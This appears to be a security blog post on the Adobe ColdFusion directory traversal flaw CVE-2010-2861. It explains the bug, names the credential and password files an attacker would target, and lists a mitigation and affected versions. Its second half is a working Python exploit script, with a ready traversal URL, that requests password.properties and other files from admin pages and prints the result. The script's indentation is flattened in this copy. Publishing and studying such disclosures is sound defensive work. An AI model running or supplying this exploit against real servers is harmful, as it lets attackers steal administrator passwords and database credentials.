A new Adobe hotfix for ColdFusion has been released recently. The vulnerability which was discovered by Richard Brain was rated as important by Adobe and could affect a large number of Internet-facing web servers.
How does the vulnerability work?
This ColdFusion vulnerability is a variation of a classic directory traversal vulnerability, also referred to as arbitrary file retrieval. The attack involves tricking a server-side script to provide the contents of a file that it was not originally supposed to be made available. By moving up a few directory levels, the attacker is able to obtain the contents of files outside the application server’s webroot via special strings such as ../
. More information can be found on the OWASP website.
Just as any other type of directory traversal vulnerability, the attacker would usually attempt to obtain source code of the target site in order to identify security vulneraibilities. Additionally, the attacker would most likely attempt to obtain configuration files containing sensitive information. For instance, in the case of ColdFusion the attacker would most likely attempt to read the contents of neo-security.xml
and password.properties
. These configuration files contain database connection credentials and the ColdFusion administrator password respectively. Depending on how password.properties
has been setup, the ColdFusion admin password will be hashed or stored in clear-text (encrypted=false
).
Quick Fix
You can either apply Adobe’s patch or restrict access to the following directories and file from trusted IP addresses only: /CFIDE/adminapi/ /CFIDE/administrator/ /CFIDE/componentutils/ /CFIDE/wizards/ /CFIDE/install.cfm
Affected versions of ColdFusion
According to the Adobe bulletin the affected versions are “ColdFusion 8.0, 8.0.1, 9.0, 9.0.1 and earlier versions for Windows, Macintosh and UNIX”. However, due to time constraints I have only personally confirmed the vulnerability on version 8.0.1 under Windows.
CVE-2010-2861 Python Exploit
# Working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"
#!/usr/bin/python
# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# detailed information about the exploitation of this vulnerability:
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
# leo 13.08.2010
import sys
import socket
import re
# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")
post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
locale=%%00%s%%00a"""
def main():
if len(sys.argv) != 4:
print "usage: %s <host> <port> <file_path>" % sys.argv[0]
print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
print "if successful, the file will be printed"
return
host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
for f in filenames:
print "------------------------------"
print "trying", f
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
s.send(post % (f, host, len(path) + 14, path))
buf = ""
while 1:
buf_s = s.recv(1024)
if len(buf_s) == 0:
break
buf += buf_s
m = re.search('<title>(.*)</title>', buf, re.S)
if m != None:
title = m.groups(0)[0]
print "title from server in %s:" % f
print "------------------------------"
print m.groups(0)[0]
print "------------------------------"
if __name__ == '__main__':
main()